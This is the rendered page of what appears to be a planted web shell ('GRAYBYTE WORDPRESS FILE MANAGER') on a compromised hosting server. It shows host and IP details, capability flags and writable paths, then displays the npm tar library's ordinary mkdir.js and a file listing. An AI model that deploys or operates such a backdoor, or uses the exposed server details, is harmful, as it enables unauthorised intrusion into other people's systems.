✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.120
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/alt-nodejs24/root/usr/lib/node_modules/npm/node_modules.bundled/tar/dist/esm//mkdir.js
import { chownr, chownrSync } from 'chownr';
import fs from 'node:fs';
import fsp from 'node:fs/promises';
import path from 'node:path';
import { CwdError } from './cwd-error.js';
import { normalizeWindowsPath } from './normalize-windows-path.js';
import { SymlinkError } from './symlink-error.js';
const checkCwd = (dir, cb) => {
    fs.stat(dir, (er, st) => {
        if (er || !st.isDirectory()) {
            er = new CwdError(dir, er?.code || 'ENOTDIR');
        }
        cb(er);
    });
};
/**
 * Wrapper around fs/promises.mkdir for tar's needs.
 *
 * The main purpose is to avoid creating directories if we know that
 * they already exist (and track which ones exist for this purpose),
 * and prevent entries from being extracted into symlinked folders,
 * if `preservePaths` is not set.
 */
export const mkdir = (dir, opt, cb) => {
    dir = normalizeWindowsPath(dir);
    // if there's any overlap between mask and mode,
    // then we'll need an explicit chmod
    /* c8 ignore next */
    const umask = opt.umask ?? 0o22;
    const mode = opt.mode | 0o0700;
    const needChmod = (mode & umask) !== 0;
    const uid = opt.uid;
    const gid = opt.gid;
    const doChown = typeof uid === 'number' &&
        typeof gid === 'number' &&
        (uid !== opt.processUid || gid !== opt.processGid);
    const preserve = opt.preserve;
    const unlink = opt.unlink;
    const cwd = normalizeWindowsPath(opt.cwd);
    const done = (er, created) => {
        if (er) {
            cb(er);
        }
        else {
            if (created && doChown) {
                chownr(created, uid, gid, er => done(er));
            }
            else if (needChmod) {
                fs.chmod(dir, mode, cb);
            }
            else {
                cb();
            }
        }
    };
    if (dir === cwd) {
        return checkCwd(dir, done);
    }
    if (preserve) {
        return fsp.mkdir(dir, { mode, recursive: true }).then(made => done(null, made ?? undefined), // oh, ts
        done);
    }
    const sub = normalizeWindowsPath(path.relative(cwd, dir));
    const parts = sub.split('/');
    mkdir_(cwd, parts, mode, unlink, cwd, undefined, done);
};
const mkdir_ = (base, parts, mode, unlink, cwd, created, cb) => {
    if (!parts.length) {
        return cb(null, created);
    }
    const p = parts.shift();
    const part = normalizeWindowsPath(path.resolve(base + '/' + p));
    fs.mkdir(part, mode, onmkdir(part, parts, mode, unlink, cwd, created, cb));
};
const onmkdir = (part, parts, mode, unlink, cwd, created, cb) => (er) => {
    if (er) {
        fs.lstat(part, (statEr, st) => {
            if (statEr) {
                statEr.path =
                    statEr.path && normalizeWindowsPath(statEr.path);
                cb(statEr);
            }
            else if (st.isDirectory()) {
                mkdir_(part, parts, mode, unlink, cwd, created, cb);
            }
            else if (unlink) {
                fs.unlink(part, er => {
                    if (er) {
                        return cb(er);
                    }
                    fs.mkdir(part, mode, onmkdir(part, parts, mode, unlink, cwd, created, cb));
                });
            }
            else if (st.isSymbolicLink()) {
                return cb(new SymlinkError(part, part + '/' + parts.join('/')));
            }
            else {
                cb(er);
            }
        });
    }
    else {
        created = created || part;
        mkdir_(part, parts, mode, unlink, cwd, created, cb);
    }
};
const checkCwdSync = (dir) => {
    let ok = false;
    let code = undefined;
    try {
        ok = fs.statSync(dir).isDirectory();
    }
    catch (er) {
        code = er?.code;
    }
    finally {
        if (!ok) {
            throw new CwdError(dir, code ?? 'ENOTDIR');
        }
    }
};
export const mkdirSync = (dir, opt) => {
    dir = normalizeWindowsPath(dir);
    // if there's any overlap between mask and mode,
    // then we'll need an explicit chmod
    /* c8 ignore next */
    const umask = opt.umask ?? 0o22;
    const mode = opt.mode | 0o700;
    const needChmod = (mode & umask) !== 0;
    const uid = opt.uid;
    const gid = opt.gid;
    const doChown = typeof uid === 'number' &&
        typeof gid === 'number' &&
        (uid !== opt.processUid || gid !== opt.processGid);
    const preserve = opt.preserve;
    const unlink = opt.unlink;
    const cwd = normalizeWindowsPath(opt.cwd);
    const done = (created) => {
        if (created && doChown) {
            chownrSync(created, uid, gid);
        }
        if (needChmod) {
            fs.chmodSync(dir, mode);
        }
    };
    if (dir === cwd) {
        checkCwdSync(cwd);
        return done();
    }
    if (preserve) {
        return done(fs.mkdirSync(dir, { mode, recursive: true }) ?? undefined);
    }
    const sub = normalizeWindowsPath(path.relative(cwd, dir));
    const parts = sub.split('/');
    let created = undefined;
    for (let p = parts.shift(), part = cwd; p && (part += '/' + p); p = parts.shift()) {
        part = normalizeWindowsPath(path.resolve(part));
        try {
            fs.mkdirSync(part, mode);
            created = created || part;
        }
        catch (er) {
            const st = fs.lstatSync(part);
            if (st.isDirectory()) {
                continue;
            }
            else if (unlink) {
                fs.unlinkSync(part);
                fs.mkdirSync(part, mode);
                created = created || part;
                continue;
            }
            else if (st.isSymbolicLink()) {
                return new SymlinkError(part, part + '/' + parts.join('/'));
            }
        }
    }
    return done(created);
};
//# sourceMappingURL=mkdir.js.map


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
24 Apr 2026 4.23 PM
root / root
0755
create.js
2.112 KB
24 Apr 2026 3.56 PM
root / root
0644
cwd-error.js
0.303 KB
24 Apr 2026 3.56 PM
root / root
0644
extract.js
1.652 KB
24 Apr 2026 3.56 PM
root / root
0644
get-write-flag.js
0.994 KB
24 Apr 2026 3.56 PM
root / root
0644
header.js
10.836 KB
24 Apr 2026 3.56 PM
root / root
0644
index.js
0.632 KB
24 Apr 2026 3.56 PM
root / root
0644
index.min.js
81.022 KB
24 Apr 2026 3.56 PM
root / root
0644
large-numbers.js
2.521 KB
24 Apr 2026 3.56 PM
root / root
0644
list.js
3.363 KB
24 Apr 2026 3.56 PM
root / root
0644
make-command.js
1.826 KB
24 Apr 2026 3.56 PM
root / root
0644
mkdir.js
5.604 KB
24 Apr 2026 3.56 PM
root / root
0644
mode-fix.js
0.735 KB
24 Apr 2026 3.56 PM
root / root
0644
normalize-unicode.js
0.985 KB
24 Apr 2026 3.56 PM
root / root
0644
normalize-windows-path.js
0.479 KB
24 Apr 2026 3.56 PM
root / root
0644
options.js
1.601 KB
24 Apr 2026 3.56 PM
root / root
0644
pack.js
14.064 KB
24 Apr 2026 3.56 PM
root / root
0644
package.json
0.022 KB
24 Apr 2026 3.56 PM
root / root
0644
parse.js
22.263 KB
24 Apr 2026 3.56 PM
root / root
0644
path-reservations.js
5.319 KB
24 Apr 2026 3.56 PM
root / root
0644
pax.js
4.643 KB
24 Apr 2026 3.56 PM
root / root
0644
process-umask.js
0.152 KB
24 Apr 2026 3.56 PM
root / root
0644
read-entry.js
4.077 KB
24 Apr 2026 3.56 PM
root / root
0644
replace.js
7.034 KB
24 Apr 2026 3.56 PM
root / root
0644
strip-absolute-path.js
1.035 KB
24 Apr 2026 3.56 PM
root / root
0644
strip-trailing-slashes.js
0.478 KB
24 Apr 2026 3.56 PM
root / root
0644
symlink-error.js
0.381 KB
24 Apr 2026 3.56 PM
root / root
0644
types.js
1.247 KB
24 Apr 2026 3.56 PM
root / root
0644
unpack.js
32.821 KB
24 Apr 2026 3.56 PM
root / root
0644
update.js
0.982 KB
24 Apr 2026 3.56 PM
root / root
0644
warn-method.js
0.776 KB
24 Apr 2026 3.56 PM
root / root
0644
winchars.js
0.536 KB
24 Apr 2026 3.56 PM
root / root
0644
write-entry.js
22.247 KB
24 Apr 2026 3.56 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF